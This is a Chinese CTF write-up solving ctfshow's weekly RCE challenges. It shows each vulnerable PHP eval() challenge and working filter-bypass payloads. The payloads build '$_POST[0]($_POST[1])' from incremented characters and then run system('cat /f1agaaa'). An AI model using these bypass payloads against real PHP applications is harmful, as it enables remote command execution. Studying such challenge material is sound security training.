草庐IT

CTFSHOW每周大挑战——RCE篇

Myanemo 2024-05-18 原文

RCE1:过滤了括号,不能使用system(),可以用反引号搭配echo使用回显flag

payload:echo `cat /f*`;

RCE2:

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

过滤了很多东西呢,通过正则表达式匹配发现还有

' () + , . ; = [] _

上面还有提示,吃瓜杯Y4的shellme_revenge,想到用自增的方法

(32条消息) 【CTF】通过符号构造字母数字_吃_早餐的博客-CSDN博客

构造出来$_GET[_]($_GET[__]);然后直接命令执行即可

payload:post

$_=''.[];
$_=$_['_'];
$_++;
$_++;
$_++;
$__=++$_;
$_++;
$___=++$_;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_=_.$___.$__.$_;
$$_[_]($$_[__]);

注意post用url编码后使用。

get:?_=system&?__=cat /f*;

后面三个卡住了,师傅们都tql

RCE3:

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

这次是不仅过滤了而且还有字数限制。先正则匹配一下得到

() + , . / 0 1 ; = [] _

这次放出来了0 1,'被禁了。还是用自增的方法但是和前面有点不太一样了。因为有了长度限制,所以要用更短的方式。直觉上可能会觉得GET比POST短会用更少字符,但是因为从N开始后OPST都有,POST更容易用更少的字数得到,所以使用POST。

​
$a=(0/0);//NAN
$a.=_;//NAN_
$a=$a[0];//N
$a++;//O
$o=$a++;//$o=$a++是先把$a的值给$o,然后再对$a进行自增,所以这一句结束的时候 $a是P,$o是O
$p=$a++;//$a=>Q,$p=>P
$a++;$a++;//R
$s=$a++;//S
$t=$a;//T
$_=_;//_
$_.=$p.$o.$s.$t;//_POST
$$_[0]($$_[1]);//$_POST[0]($_POST[1]);

​

用burp把a换成不可见字符(如%ff %fe等),url编码中+会被替换成空格,所以要换成%2b

payload:

ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaa

RCE4:

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

比上一个少了1,而且字符数要求更少了。所以需要我们压缩得更短。不影响我们使用(0/0)来构造NAN, 但是更为优秀的写法可以是$a=(_/_._)[0];直接得到字母N,payload构造过程:

$a=(_/_._)[0];//直接拼接成字符串并切片
$o=++$a;//$o=++$a是先把$a进行自增,自增完成之后再将值返回,也就是这一句结束的时候 $a和$o都是O
$o=++$a.$o;//$o=>PO,$a=>P
$a++;//Q
$a++;//R
$o.=++$a;//$o=>POS,$a=>S
$o.=++$a;//$o=>POST,$a=>T
$_=_.$o;//_POST
$$_[0]($$_[_]);//$_POST[0]($_POST[_]);

payload:

ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa

RCE5:

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

要求更少了,但是phpinfo中多了个gettext()扩展插件,使得我们可以用_()直接转为字符串

payload:

ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa

注意一下:因为不可见字符的原因,所以要用bp来做,hackbar可能会和我一样出现 url malformed CLOSE,用bp做的时候注意+会被替换成空格所以要编码外,还有用不可见字符替换过滤得字母(为了使得字符数更短才用的),其他直接post提交即可。

后面群里的大佬还有更短的payload,直接压到了72位构造如下:

<?php
$a=_(a/a)[a];//N
++$a;//O
$_=$a.$a++;//PO
$a++;$a++;//R
$_.=_.$_++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])

$_=$a.$a++;//PO

至于为什么是得到PO而不是OP或者OO之类的,官方wp上师傅们讨论的结果是:

PHP在做字符串拼接的过程中(.操作),是一个从左到右递归的过程,而++操作类似于一个函数,php在执行完函数后,再做拼接的操作,$_=$a.$a++;//PO这里相当于先执行了$a++操作(函数),并得到$a++的返回值,然后和左侧的$a变量进行拼接,此时$a已经是P了。而$_=_.$a.$a++;时先执行了_$a的拼接,而后再执行$_='_O'.$a++,所以得到的是_OO。*以上所有均为猜测,具体机制需研究PHP源码。

总结:对于无数字字母rce有了更进一步的了解,可以用自增的方法解决,还有不可见字符代替得到更小的字符数。当然如果其他的被禁掉了,还有异或、$PATH、或、取反等方法来解决问题。

参考文章:

Docs (feishu.cn)

(33条消息) ctfshow RCE极限挑战 wp_练习两年半的篮球选..哦不对安全选手的博客-CSDN博客

(最后一篇文章的师傅RCE1-4都可以用hackbar,5实在要求太短只能用不可见字符才用bp)

有关CTFSHOW每周大挑战——RCE篇的更多相关文章

  1. ruby-on-rails - Ruby on Rails - 需要在每周的特定时间将消息发送到电子邮件 - 2

    我想知道我应该如何着手这个项目。我需要每周向人们发送一次电子邮件。但是,这必须在每周的特定时间自动生成并发送。编码有多难?我需要知道是否有任何书籍可以提供帮助,或者你们中的任何人是否可以指导我。它必须使用ruby​​onrails进行编程。因此有一个网络服务和数据库集成。干杯 最佳答案 为什么这么复杂?您只需安排工作。您可以使用Delayed::Job例如。Delayed::Job让您可以使用run_at符号在特定时间安排作业,如下所示:Delayed::Job.enqueue(SendEmailJob.new(...),:run_

  2. ruby-on-rails - Ruby 挑战 - 方法链和惰性求值 - 2

    看完文章http://jeffkreeftmeijer.com/2011/method-chaining-and-lazy-evaluation-in-ruby/,我开始寻找更好的方法链和惰性求值解决方案。我想我已经用以下五个规范概括了核心问题;谁能让他们全部通过?任何事情都可以:子类化、委托(delegate)、元编程,但不鼓励后者。最好将依赖性保持在最低限度:require'rspec'classFoo#EpiccodehereenddescribeFoodoit'shouldreturnanarraycorrespondingtothereverseofthemethodchai

  3. javascript - Peak and Flag Codility 最新挑战 - 2

    我正在尝试解决最新的codility.com问题(只是为了提高我的技能)。我试过分配但没有得到超过30分,所以现在很好奇我的解决方案中到底缺少什么。问题是给定一个由N个整数组成的非空零索引数组A。峰是一个数组元素,它比它的邻居大。更准确地说,它是一个索引P,使得0A[P+1]例如下面的数组A:A[0]=1A[1]=5A[2]=3A[3]=4A[4]=3A[5]=4A[6]=1A[7]=2A[8]=3A[9]=4A[10]=6A[11]=2恰好有四个峰:元素1、3、5和10。你要去一系列山脉旅行,其相对高度由数组A表示。你必须选择你应该带多少旗帜。目标是根据特定规则在山峰上设置最大数量的

  4. javascript - 树屋 jQuery 挑战 - 2

    如何使用jQuery从具有特定类的无序列表中选择列表项?确切的问题是“在下一行,使用jQuery选择带有‘nav’类的无序列表(ul)中的所有列表项(li)?”我在treehouse上试过几次,但它不会让我通过!$(".navulli"); 最佳答案 您的选择器$(".navulli")表示某些具有类nav的元素具有ul,如果ul具有类nav则尝试此操作.$("ul.navli"); 关于javascript-树屋jQuery挑战,我们在StackOverflow上找到一个类似的问题:

  5. ChatGPT对于程序员到底是机遇还是挑战?深度体验告诉你 - 2

    目录一、人工智能的快速发展二、机遇1.自动化生产2.新技术的探索3.更高的薪酬三、挑战1.竞争压力2.人类工作替代程序员应该如何应对ChatGPT的机遇和挑战1.学习新技术2.注重团队合作3.加强人际交往4.保持开放心态5.保护个人隐私结论🐖🐖🐖🐖如果喜欢!!🐂🐂🐂🐂🐖🐖🐖🐖欢迎关注!!🐂🐂🐂🐂🐖🐖🐖🐖持续回访! !🐂🐂🐂🐂CSDN主页:所有博客内容,Java大树逐渐成长Gitee地址:想看博客代码??点击这里QQ:1939639916(有问题可以加好友,备注csdn)随着人工智能技术的不断发展,越来越多的人工智能产品和服务正在改变我们的生活方式和工作方式,尤其是对于程序员这一职业群体来说,人

  6. javascript - 扩展挑战 : preprocessor function macros and class-like oop - 2

    背景我一直在使用C预处理器来管理和“编译”具有多个文件和构建目标的半大型javascript项目。这允许从javascript中完全访问C预处理器指令,如#include、#define、#ifdef等。这是一个示例构建脚本,因此您可以测试示例代码:#!/bin/bashexportOPTS="-DDEBUG_MODE=1-Isrc"forFILEin`findsrc/|egrep'\.js?$'`doecho"Processing$FILE"cat$FILE\|sed's/^\s*\/\/#/#/'\|cpp$OPTS\|sed's/^[#:build/`basename$FILE`

  7. javascript - 代码挑战 : Create a class Foo that tracks the number of total object instances - 2

    我正在尝试解决工作应用程序的代码挑战,但我遇到了困难,非常感谢任何帮助。问题:创建一个Foo类,它有一个名为refCount的方法。在类或其任何实例上调用refCount应该返回存在的实例总数。示例:varf1=newFoo();f1.refCount();//shouldbe1Foo.refCount();//shouldbe1varf2=newFoo();f1.refCount();//shouldbe2f2.refCount();//shouldbe2Foo.refCount();//shouldbe2到目前为止我有这样的事情:functionFoo(){this.refCoun

  8. RCE(远程代码执行漏洞)原理及漏洞利用 - 2

    作用RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。原理一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。现在很多的企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"

  9. JavaScript 方法链挑战 - 2

    (这个问题并没有真正限制语言,所以请随时提交其他语言的解决方案。)我只是想知道是否可以用JavaScript编写这样的东西://Wait3secondsandthensayourmessageinanalertboxwait(3).then(function(){alert("HelloWorld!");});传统的写法//Wait3secondsandthensayourmessageinanalertboxsetTimeout(function(){alert("HelloWorld!");},3000);对不起,如果这是一个菜鸟问题:p 最佳答案

  10. go - 任何人都可以解决这个编程挑战吗? - 2

    关闭。这个问题不符合StackOverflowguidelines.它目前不接受答案。这个问题似乎与helpcenter中定义的范围内的编程无关。.关闭8年前。Improvethisquestion谁能用Go编程语言解决以下问题?JamesgotholdofaloveletterthathisfriendHarryhaswrittenforhisgirlfriend.BeingthepranksterthatJamesis,hedecidestomeddlewithit.Hechangesallthewordsintheletterintopalindromes.Whilemodify

随机推荐